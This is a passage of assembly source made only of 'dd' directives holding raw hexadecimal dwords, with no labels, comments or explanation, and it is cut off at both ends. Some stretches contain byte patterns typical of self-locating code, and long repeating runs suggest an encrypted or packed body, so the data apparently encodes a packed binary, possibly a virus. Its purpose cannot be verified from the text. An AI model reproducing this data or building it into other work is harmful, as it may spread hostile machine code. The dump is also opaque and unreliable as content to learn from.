450595Dh, 8D51DA28h, 0EA560B8Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 405E2A34h dd 0A0E23F98h, 99950B92h, 0BA05E404h, 1F80F4F0h, 10958D89h dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 96EB4FC3h, 0F7A6C779h, 49BD899Bh, 0C705E421h dd 0E42C6585h, 746005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C738B66Ch, 0E430FD85h dd 5, 0F18B6600h, 1001B5FFh, 6A05E4h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0F9119BC3h dd 0CE869h, 9EBE0000h, 8C212EABh, 19641703h, 0FF5E20AFh dd 0E42A6195h, 6DBD0105h, 905E404h, 0E41AF595h, 0FF006A05h dd 0E410C195h, 0EBC08B05h, 1F35DB79h, 0AB09475h, 2B84343Eh dd 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh, 0FF28EC2Bh dd 9E8770B8h, 16E28D32h, 5167D5Ch, 6F3F3B1Ah, 0E8AF35Eh dd 13852E07h, 6D3FC9C0h, 0C34A57C1h, 0F3843C03h, 11758AC8h dd 73B89833h, 63D9E7EEh, 0AE1C6177h, 11DBF903h, 635D0B9h dd 2A0A740Bh, 61CE16D4h, 0AF997295h, 649459A0h, 0ACD5B84h dd 4A3C0989h, 96643E3Ah, 12E882ACh, 21000000h, 0F6E55431h dd 0DA4DC226h, 3AE10BB9h, 363EFCE3h, 236FBBB3h, 315E2549h dd 0E41CAD95h, 0FC68105h, 0E900005Ch, 0Eh, 0B0FA5E84h dd 0E7F531F0h, 588C8866h, 686B50h, 66000000h, 0D029F381h dd 9589605Ah, 5E42715h, 50AED081h, 0FF616115h, 81583234h dd 8C4C2EFh, 0E3C0817Ch, 0FC65F753h, 0CBC9E881h, 0BF664EC6h dd 0F081CB8Bh, 2F6E3CC8h, 489D98Bh, 12E916h, 0DF810000h dd 1684F197h, 4F7EFFBEh, 0CFEB56D2h, 38E895B7h, 5E9h, 5ADA5400h dd 0EA813F31h, 61B4644Eh, 25E5BD8Bh, 0C28105E4h, 61B4644Ah dd 19C9B589h, 0FA8105E4h, 0FFFFA4C4h, 0FF95850Fh, 0E960FFFFh dd 11h, 472BBB37h, 677CBB0Ah, 5751F656h, 5A35CC5Ah, 1BF6622h dd 8D8D6169h, 5EA5866h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0F1C35242h, 0C5DB623h, 89F5A5CDh, 0E410958Dh dd 7E905h, 0E5CE0000h, 51A59968h, 8DB58BE4h, 0C705E429h dd 0E42C6585h, 5D6005h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 779B0FC5h, 6C0FC0A9h dd 89F5CBC2h, 0E4079D95h, 0FD85C705h, 5E430h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0ACE5C357h, 0D8C2803Bh, 1001B5FFh, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0F68154C3h, 6081B147h, 2A6195FFh, 6A05E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 853F71C3h dd 0E6A3EBEAh, 9D8B4B22h, 5E43111h, 95FF006Ah, 5E410C1h dd 79EBC08Bh, 6117E09h, 0CC9857AFh, 0D50490F3h, 7EECC100h dd 0D822D51Eh, 0A8D05649h, 31574E35h, 5AB0C4B2h, 0B965C01Fh dd 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh, 0BB2CE69h, 9722FA60h dd 5E928C5Ah, 0CC7649B8h, 0C82AF691h, 6D636DBh, 5A948756h dd 10B373EBh, 0BA59B95h, 23473ACDh, 0F86AD9ACh, 0F8299E0Ch dd 39361445h, 0E26EA8Eh, 8611FEABh, 600E2DDDh, 0AF3642A7h dd 0CA3B6787h, 3EE8531Dh, 32565DB1h, 1EEACF5h, 325655F5h dd 3256ABB1h, 0BABCD5B1h, 0E0B9EAE8h, 325675EBh, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h dd 325757B8h, 3254ABA9h, 327BD5B7h, 3256E81Fh, 325677F9h dd 0F27DB8F9h, 32565DB1h, 903B2A26h, 0DC3FA782h, 0BB73B73Eh dd 3E69F185h, 620EB0E4h, 600425D1h, 5267B5EFh, 0AE0E07D0h dd 3256BA58h, 28936BB1h, 0D41783FAh, 402B0196h, 8C2FAA72h dd 0F86319AEh, 0C2D7DC8Ah, 3EBF9D27h, 3656AEB1h, 42E5755Ch dd 0AE59C558h, 0AF7DAF14h, 0B3B379D0h, 0F763BD7Fh, 325053AAh dd 75D05DB1h, 0D14433C5h, 0A2370E2Ch, 3256A158h, 0FA3D6FB1h dd 46116CD0h, 0B3B5672Ch, 5C12E451h, 3242B4C9h, 675AAEB1h dd 0E3AE0CDBh, 3FF29C87h, 3B460673h, 0F76AC5BFh, 62CB3EABh dd 6867B5E3h, 6A0C3CE9h, 0AF05EC23h, 35C136E8h, 5156ABB1h dd 8D88CCD1h, 3593F3Dh, 533627E1h, 3ABF8BBEh, 0A2565DB1h dd 8EF92038h, 689DCDF4h, 6A0EF1E9h, 4DC80C91h, 0ECD77FFDh dd 4C963489h, 3256BC58h, 0D6212BB1h, 0AF45ACFCh, 0DB6758D0h dd 3256ABA5h, 0B90CD0CDh, 55706BD9h, 31E4C8A5h, 6DA80331h dd 495C281Dh, 130EF6EBh, 1612DED0h, 6204FBB5h, 3D0485E3h dd 3D0EB080h, 3D042580h, 680EE080h, 626752E9h, 3D37CEE3h dd 3D040780h, 680EF180h, 6A0E8FE9h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 0DA36EAB1h, 325675B1h, 91BC3BEBh, 0BF53B7EAh, 0DBF78F34h dd 0CBD4DEB4h, 0BF5341E9h, 0D8BDF333h, 0CFD463B4h, 0DA539FE9h dd 3256B3FFh, 32562659h, 0DBD469B1h, 3253BDE9h, 6056ABB1h dd 181F5077h, 5A00EF55h, 0AEFECDE3h, 14A30F4Eh, 0B7DB5855h dd 37B1C381h, 0B7DF874Eh, 37B2B948h, 323ED1DBh, 5A56EAA1h dd 325578F1h, 0E2A9BADBh, 469656EBh, 0DBD42782h, 0BB53BDE9h dd 0D80E4633h, 3F166CB4h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h dd 32564DB1h, 3252AED9h, 0CD563DB1h, 0D6445223h, 0B0DF8FB4h dd 37BCB38Ch, 0DBD3FED0h, 0F15350E9h, 0C3D49AD1h, 32534AB5h dd 0F55617B1h, 0D6555233h, 3246D5B4h, 52958BB1h, 6ABFCF3Ah dd 0DD5BF5Bh, 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h dd 0D8BDC176h, 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h dd 0F137475Ah, 52BADCE4h, 3256AB59h, 0D8D78FB1h, 37BCB629h dd 6B17C73Ah, 77DDBF5Bh, 0B150D4B9h, 0D80FEF33h, 0FB3753B4h dd 5256AF73h, 3256D559h, 0D8D7B0B1h, 37BC290Dh, 6B6B083Ah dd 806D585Bh, 37BCF7F0h, 0CDD6CC5h, 8459743Ah, 75A0D4FEh dd 36236AB0h, 30BDACB2h, 7115639Ah, 3677D83Ah, 0BFDDAB55h dd 37B27354h, 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h dd 0D7EB33B9h dd 0D953B995h, 5295CF06h, 32565759h, 0D8D7F1B1h, 37BC88A5h dd 6B6B503Ah, 32EF705Bh, 156BAB0h, 0B9FDAE71h, 0D80F9333h dd 73D4DEB4h, 535341E8h, 32BEB572h, 6856EAB1h, 6F689F30h dd 0B790BF5Bh, 37B277F8h, 5F6FC6E7h, 87A983AEh, 37B28D44h dd 5F66503Ch, 0E2A9EF56h, 323E25E3h, 5856BA31h, 0DBE4A2B1h dd 0CD5344E9h, 5A0C0F61h, 32562BB1h, 80A9D5DBh, 37BCB38Ch dd 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h, 37BC0A3Dh dd 0DA5EDE3Ah, 3256D729h, 0CBC415E4h, 6F539FE9h, 475ACF8Ah dd 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh dd 3256EA59h, 0D8D72FB1h, 37BCE771h, 0B95E283Ah, 6401BECCh dd 32566059h, 4696A0B1h, 67AE5E90h, 6AAF784Eh, 90B705Bh dd 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch dd 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h dd 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h, 1BD42DB1h dd 33539FE8h, 0B956BAB1h, 0B93055C4h, 0DBEC25AFh, 0B953BDE9h dd 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h dd 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh dd 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh dd 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h dd 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h dd 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h dd 0CD693C5h, 0B26E239Ch, 122C38Fh, 6B7F574Eh, 0B930EF5Bh dd 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h dd 21226B30h, 0A0A980D1h, 37BCB248h, 0CE13FCECh, 0CE2B39D0h dd 0B93528B0h, 0D6525F0Bh, 0B0DD07B4h, 37BCF298h, 6A66E988h dd 88DDBAC3h, 37B27648h, 1BD431E1h, 0B53B7E8h, 4D0E9E8Dh dd 0F546BC8Ch, 325453F4h, 35BDD5B1h, 33AEAF76h, 0B95675B1h dd 0D80E530Bh, 3949D6B4h, 949DA6Ah, 0B959226Fh, 4FD5A7ECh dd 3122D549h, 0BBAEB7B2h, 0F5D571EEh, 1B451A5h, 3296B471h dd 0B930AEB1h, 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h dd 0F4649EA7h, 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h dd 5456ABB1h, 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h dd 32565FF6h, 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h dd 47C6D431h, 4CD713BFh, 46C62A4Eh, 0B952B6B3h, 0BF094576h dd 0D80F1233h, 0CD00FBB4h, 0D80E2823h, 4696E1B4h, 0BF9EFEBBh dd 0D80FFF03h, 6446B6B4h, 0CD03603Ah, 0D80EAE23h, 0FC7DF6B4h dd 0B1080C46h, 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h dd 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah dd 3DFD1335h, 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh dd 0B903ABB9h, 32BEB55Dh, 6856EAB1h, 52489F30h, 77DDBF5Bh dd 0C3D4D4B9h, 535344E9h, 32529578h, 0B1BA20E4h, 0DA362D75h dd 3256EAB1h, 0DBCF4EBh, 0F55350D1h, 3256A5F4h, 7791AEB1h dd 3256574Dh, 549698B1h, 0B091CB3Ah, 37BCB398h, 325675B0h dd 0A2AD3BD7h, 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h dd 32A851BEh, 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h dd 3DAD2FD7h, 0D7D25831h, 3156ABB1h, 0D6545C33h, 0C9D6AAB4h dd 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h dd 88D2A452h, 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h dd 0D1D6433Ah, 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh dd 463ED431h, 0B0A93589h, 37BCE398h, 0B248D6D7h, 0B3305656h dd 46BED64Ah, 2CDDCD95h, 54A63231h, 0F2D71130h, 673662C5h dd 6AAF284Eh, 0BB0B585Bh, 0B13752F4h, 3D57ABCCh, 32578334h dd 0C3EC5EB1h, 62530EB5h, 6B7FF73Ah, 0E6FBF5Bh, 0B0590581h dd 3256AFA0h, 31AFED3Ah, 0B906AE55h, 0D80FFC33h, 26AD3B4h dd 0C8D97AE9h, 0B956BAB1h, 0D80EB00Bh, 0DFD42DB4h, 2653BDE9h dd 75DF9C38h, 0B0DD85A1h, 37BCB398h, 6A66693Ah, 0DB5EE538h dd 32565D64h, 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h dd 6ABB503Ah, 0B0D5705Bh, 37BCE25Ch, 0BB61D4A5h, 0CAD5BEF6h dd 0F55A22B2h, 0D80F8233h, 3256D7B4h, 0B15301B1h, 6D2B7749h dd 32AEC732h, 845946C5h, 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h dd 1F5E3EB4h, 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 37BC0498h dd 6965AA3Ah, 32565718h, 3142DE31h, 37965677h, 6B7F68B2h dd 0BB1E705Bh, 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h dd 6B7F29B2h, 0BB1ED05Bh, 75DFE2F6h, 1689EBDh, 33103071h dd 1323DD19h, 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h dd 37BF9974h, 31579631h, 3A113372h, 0D95A1A38h, 178E59A5h dd 3256574Eh, 0EAA16D9Ah, 0BB541532h, 75DFE2F6h, 0FB378DBDh dd 0DEDDEF72h, 52AA9932h, 3256AE59h, 0D8D70DB1h, 37BCC9E1h dd 6ABF6F3Ah, 0FB65EF5Bh, 3D564A32h, 32567835h, 0CD51D6B1h dd 47A9A2C4h, 41BE07B9h, 4156ABB0h, 269156B4h, 77DF085Ah dd 3E238A4Dh, 0CD5ECF4Eh, 330AB586h, 0B059AEB1h, 32565726h dd 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h, 3A22BAB5h dd 325A2232h, 3CBDACC5h, 0CDA9A809h, 3253124Eh, 99A5D5B1h dd 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h, 6DDDAAF6h dd 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h, 3A094EBDh dd 0B904AFC4h, 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh dd 0B9443EEBh, 6DDDEEF6h, 36095EBDh, 31535132h, 0D671603Bh dd 22292DB4h, 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh dd 325675B4h, 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h dd 0DA365775h, 3256D5B1h, 9BC6BEBh, 0B9539FD2h, 0D80E530Bh dd 0B19F6EB4h, 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh dd 32DE02E1h, 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh dd 5A95FC4h, 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h dd 3629394Dh, 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh dd 3256D008h, 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh dd 75DDEFA0h, 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah dd 3E09FEB5h, 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h dd 8A57AAEDh, 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h dd 0B9035DB9h, 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h dd 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h dd 0B30C57B1h, 0D832BA5Bh, 19FE6B4h, 0CE0B636Ah, 6ABFCF3Ah dd 0DD5BF5Bh, 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h dd 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h dd 4653BECEh, 2229D4BEh, 7347DEB7h, 0B952923Ah, 2FBDE6EEh dd 0B952323Ah, 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h dd 3146D432h, 1917D4C4h, 330A6368h, 0CDA9CDB0h, 37EF454Eh dd 0C1565DB1h, 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h dd 0D8D7B0B1h, 37BC112Dh, 6B57203Ch, 56EE585Bh, 0DA56AEB1h dd 32565763h, 0F36DA03Ah, 7955C15Ah, 4097D1B5h, 221D76A6h dd 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah, 37BC8E0Bh, 3ABD784Eh dd 0EEB64F3Ch, 0E1A9EF5Bh, 0F10E2CEAh, 0DABA31E4h, 32565DB1h dd 0D9BC2FEBh, 5253BDD5h, 6B57113Ch, 77DDD05Bh, 0B95163B9h dd 75DF79F4h, 221331B5h dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 0D67C9C34h dd 283EADB4h, 0CDFE62C2h, 0D6704F04h, 2D3D0B4h, 0CD5349DCh dd 0B8DB0561h, 37BCF29Ch, 68862AE0h, 6B7B683Ch, 8559705Bh dd 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 37B25584h, 5251C3D0h dd 0E8h, 0EA815A00h, 5EA655Ch, 35828B52h, 0B905E402h, 41C64E6Dh dd 55AE1F7h, 3039h, 0FFFFFF25h, 3582897Fh, 5A05E402h, 5251C359h dd 0E8h, 0EA815A00h, 5EA658Ch, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h dd 0C3595AC2h, 0C08BC08Bh, 5B9D858Dh, 0D0FF05EAh, 8DC18B66h dd 0EA655585h, 0D858905h, 8D05E400h, 0EA658585h, 31858905h dd 0B805E41Dh, 0 dd 840FC00Bh, 47h, 2A4985C6h, 685605E4h, 0A9C530DFh, 26F5B5FFh dd 858D05E4h, 5E76D30h, 8D50D0FFh, 0E400C58Dh, 46A5105h dd 100068h, 95B5FF00h, 0FF05E41Ah, 95BD8BD0h, 305E41Ah dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 0E402C99Dh dd 0B038B05h, 5840FC0h, 8B000000h, 4438900h, 234CF6B9h dd 0DE800h, 3D270000h, 531B7186h, 0B6DD39B7h, 0B81F48A7h dd 4FE972CDh, 0C181F559h, 616Ah, 2BC3BF0Fh, 0BA93BEFFh dd 34FF418Fh, 6E90Fh, 2C220000h, 0CEC0E21Fh, 0CE85Bh, 8B680000h dd 0B440D97h, 0FCCECB02h, 815E07FBh, 0CD29A3F3h, 8E95Dh dd 7B340000h, 27868B69h, 0EB81D86Bh, 6018F4B6h, 0EB81C38Bh dd 3EFA46DDh, 247BBE66h, 0F2BF0F53h, 0F39048Fh, 0EF81C3B7h dd 4B142C74h, 0A4F08166h, 70C78112h, 0E94B142Ch, 13h, 8389B488h dd 0D19C19F3h, 5270BDCFh, 0A4E713h, 8140A6C6h, 0FF9F6CFFh dd 20850FFFh, 0F000000h, 0B87h, 5810F00h, 0B8000000h, 59C6D8DFh dd 1BE9h, 0BF95300h, 14E851A1h, 666FEE2Bh, 0E934CCBAh dd 0FFFFFF52h, 0E529954Eh, 271A1949h, 337B08EBh, 1216h dd 0D1E90000h, 6800000Ah, 5EA689Eh, 0FADD83E9h, 698468FFh dd 79E905EAh, 68FFFADDh, 5EA6B3Ah, 0FADD6FE9h, 6C0F68FFh dd 65E905EAh, 68FFFADDh, 5EA6D74h, 0FADD5BE9h, 6F3F68FFh dd 51E905EAh, 68FFFADDh, 5EA7048h, 0FADD47E9h, 28ED80FFh dd 6B4EDC43h, 0A98E1F8Eh, 0E8C95DC0h, 290C9C03h, 72B53640h dd 0B332FFE2h, 0F0773C19h, 30B77C61h, 7EF5BEA3h, 7A818716h dd 2946C929h, 5A7FEC5Eh, 0E52BBA0Ah, 22CCC31Dh, 5303A953h dd 0DAAF5AA7h, 0E476390Dh, 0EB6A0EFDh, 97035176h, 850287F2h dd 119A1E20h, 0FACA297Dh, 0A74166FBh, 5099DEEFh, 0E95CD2A7h dd 564BDADBh, 5A30E7C2h, 0DABB119Bh, 0C9276F3Eh, 6695AA9Ch dd 0CFD7FB39h, 2052h, 0AFFF7B00h, 0B0697848h, 65D2A73Fh dd 0B3553892h, 11C9273Fh, 0B69918D7h, 0D7CFD84Eh, 0C8h dd 5A7FEC80h, 8A9F0DF0h, 9A5B371Ah, 0B5E1952Bh, 0BED37747h dd 0B29701E0h, 30A164F6h, 6713430Fh, 0F2099007h, 0B43DFF75h dd 0E6690227h, 0CCC330FCh, 7A371889h, 637156CBh, 25EDD442h dd 9406D450h, 0FC8D23C0h, 0D2A7290Fh, 0DEBE7BCAh, 57013D2Ah dd 271BC646h, 3AAE01C9h, 16920419h, 0F5CB287Ch, 0B94366F4h dd 0C9819E9h, 0CFD64F29h, 1ED74D63h, 0F94919AFh, 0C11028E8h dd 9C18EFCCh, 0C9A28715h, 1BE3C656h, 0DB205C9Dh, 979121ABh dd 72000008h, 8E31FA1Fh, 0C97C351Ch, 0FBE7B5Ch, 4EF1BA9Fh dd 643EFBDEh, 89AC3C83h, 0CEEB7DE0h, 0E33A225h, 4871E265h dd 516030A3h, 0C92975B3h, 0EC085F74h, 2DD0597Ch, 471E9BBCh dd 0EB78AFFFh, 8A4061F6h, 3E9E742Bh, 0C31D69AFh, 68DFAECCh dd 5A5B2BB9h, 9001EBCEh, 0D2A73F6Bh, 29F9CFBEh, 273F7898h dd 0F8C8BFC9h, 273F2BE9h, 9F19ECC9h, 3FBC583Dh, 2C1EC927h dd 4EBBE417h, 0ABD0CFD8h, 0F9000000h, 0F05A7FECh, 0D0BA9F0Dh dd 0C322053Dh, 3BE370CCh, 0CB08C5C4h, 1902033h, 0CCC35203h dd 0E98271C4h, 16FCE576h, 0FDD33084h, 0A7703FECh, 6E0BFAD2h dd 0C94F5E2Eh, 0EC92770h, 51391E8Fh, 0B4BB2D9Ch, 7653F86Ch dd 7646DC58h, 0BCB2C391h, 4BD74DE1h, 57C5E4F4h, 9606B972h dd 0E277CBB3h, 0CB8DDB1Fh, 7B1B7h, 0D0056800h, 1336A45Bh dd 5176E766h, 90B125D8h, 0D1F4641Bh, 5A9D4E58h, 9B0AE7CAh dd 0D84F2401h, 188F6449h, 56CDA68Bh, 74A96F7Eh, 416EC929h dd 597CEC76h, 0D4FD6A0Bh, 0B724DB50h, 7F7AB957h, 0F0A756A2h dd 7FECAC3Bh, 9C0DF05Ah, 85CFEBBh, 9105D5EBh, 1CBE517Eh dd 7C159762h, 0D2A7383Fh, 0DE4F0BFAh, 188F644Dh, 2001968Bh dd 7ED48B6Ah, 0ED465E9Fh, 162D1D51h, 6C391286h, 933DA6F7h dd 37FB68E9h, 61C366A6h, 1FCEA14Eh, 697E1392h, 7A7ED4FDh dd 0DA4DED83h, 0B968DF82h, 0CA4A5B2Bh, 0D4E616Ah, 4663FBBAh dd 0ED4F298Ch, 888819E9h, 4F4E616Ah, 60A53CF8h, 0AF4E616Ah dd 28B9EC43h, 66FB6A07h, 6AF311A0h, 41344E61h, 0BC553892h dd 0E14E616Ah, 9E6EEE45h, 9E95090Fh, 0BD7FCEB1h, 0E982A734h dd 0B19006A7h, 119014D9h, 9D095F80h, 734BB4C9h, 2BB9785Fh dd 46C86206h, 0B2C39176h, 0AFFA75FDh, 5AFCB508h, 0C6D7E50Ah dd 0AA1E50D5h, 20F55D10h, 0B19E23E7h, 59311480h, 0B22732A4h dd 6674DE8Dh, 8E284FE4h, 6247D7D6h, 6C8FA486h, 585F2F43h dd 35048h, 84CE7100h, 9828CF9Fh, 0A7475409h, 8A1E81D2h dd 0A312E3AFh, 0C5DB7D0Ch, 4E6F4835h, 0A53FF9D8h, 0D2A232D1h dd 9E1A3FD3h, 4DBCF207h, 0E7703756h, 33A508C2h, 61500B1Ch dd 0E3AF1EAEh, 2EBE5D31h, 46D4AA5Eh, 0AB14655Ah, 0CEFAD8F1h dd 0E1F01612h, 4DCD1923h, 0C6A211E4h, 0A48EFD4Fh, 0BF284953h dd 0BE143DAAh, 0F34208FFh, 55B2A09h, 59D2F764h, 6A0C35A6h dd 56390120h, 0FB0CA436h, 0D6000005h, 12951EBBh, 2DD05980h dd 93129FB8h, 0D255DEFBh, 0F8921F42h, 2D1080E7h, 7257C144h dd 0B29706B9h, 0ECD546F9h, 0B5C48C07h, 0C9297657h, 0FFB40390h dd 697848AFh, 0D2A72E08h, 0F7DA4ACDh, 46DB4A00h, 0F5FFA961h dd 0AB481C7Eh, 3E278415h, 0D6E2D743h, 0F690585Eh, 753EED50h dd 0C2425323h, 5CCC328h, 0DA4FF6B2h, 121DD830h, 69086953h dd 0AF6BDAFFh, 0E7746DFEh, 3CBD13C2h, 4DEF89ACh, 72350A70h dd 3833F8E1h, 0D5BC4817h, 244B4h, 7D0CDC00h, 0CCC3389Fh dd 0AA03E558h, 7848AFFFh, 2ECAEF79h, 848A6776h, 6D0CD2ADh dd 765DDFF8h, 20B03187h, 63F1743Dh, 70C0947Eh, 297AA361h dd 179164C9h, 297A9B7Eh, 0AE9300C9h, 0CD188C8h, 0A43C9EE1h dd 526h, 0AE4B90E3h, 0ED86AB3Fh, 2FC4ED7Ah, 6E0B2EB8h dd 0AF4469FFh, 3FAD12D3h, 7AEE911Ah, 0BC53D25Fh, 0FE93129Fh dd 0F3A150D9h, 297122E2h, 0F9CCE5C9h, 7848AFFFh, 1DFB19A8h dd 493CCCC3h, 8627F7AFh, 0DA4B2D14h, 0D2AD8411h, 23E1F0E4h dd 0E4C9297Ah, 35E8A211h, 3A1FB3A4h, 452E9D50h, 0A26851C2h dd 81496EE3h, 148524B4h, 12966733h, 0BF2C1B28h, 0F5DA119Ah dd 96CFD209h, 181h, 5A7FECC7h, 0BB9C0DF0h, 0EB085CFEh dd 34E3C4D5h, 9226D2A7h, 19D1A55Fh, 2BE75684h, 27F9AE6Ah dd 53A0CC9h, 0D788C9F6h, 4BC2CFh, 0FFEB0000h, 0A87848AFh dd 0C31DFB19h, 168C3CCCh, 4456483Ah, 5A0AEE5Dh, 0A73ADE4Bh dd 24B40BD2h, 82361385h, 0A1030BEDh, 0DC7E3AFBh, 65EA0CF8h dd 9C85070Ch, 0EFAB8C1Dh, 11FB6A0Eh, 0B3C9277Bh, 5847BA89h dd 75CFD80Bh, 0B1h, 5A7FEC66h, 0D0F56B0Ah, 5BF1BB7Ah, 0BB173AAAh dd 9A7059CAh, 0D85176EBh, 0C3220D35h, 0C6EB78CCh, 36D5A92Dh dd 0B09507A6h, 0C1911BDAh, 0A9C73CB0h, 495CBD2h, 0C925BF04h dd 2FBD6CC3h, 0BFCE4E5Fh, 7309C925h, 0EB3D9AC3h, 7F39E8A7h dd 0F6875727h, 0C925F916h, 1B9A1ED1h, 54CBA085h, 0FD0724C4h dd 81FB3489h, 0D2F654D2h, 4A0CD53Bh, 3C136h, 20F59800h dd 6346D44Bh, 0A1861796h, 0E0C155C8h, 2104940Bh, 4AAD3E48h dd 8B3AF7DAh, 0C87F3411h, 8BF7459h, 46FDB69Bh, 70997F0Eh dd 315EC929h, 597CEC66h, 9BBC2DD0h, 1633A4C5h, 0BC3FF9BCh dd 2BBC3D21h, 0E92FBE0Eh, 2ECCC31Dh, 0C754DD5Fh, 0E47528E2h dd 5ECCEDC3h, 3F2D74Bh dd 0F6A2F279h, 0DDE9658h, 30A24692h, 9829BF5Ch, 0D2A727D7h dd 0D7875322h, 1181FB23h, 27BB8080h, 0C4F047C9h, 6305D90Eh dd 27DC14F2h, 0A291D9C9h, 7147A4F8h, 43880F60h, 6E0BFAD7h dd 6A7FECD7h, 5167D6FBh, 1D9FC250h, 955DCEBFh, 0C31D0404h dd 0BD6CC3CCh, 38198E2Fh, 0C999FF7Ch, 1DA86879h, 986FCCC3h dd 0C31D0B09h, 0BF79CCCCh, 22B25125h, 0A7342A93h, 0BF28EFD2h dd 8E7D309Ah, 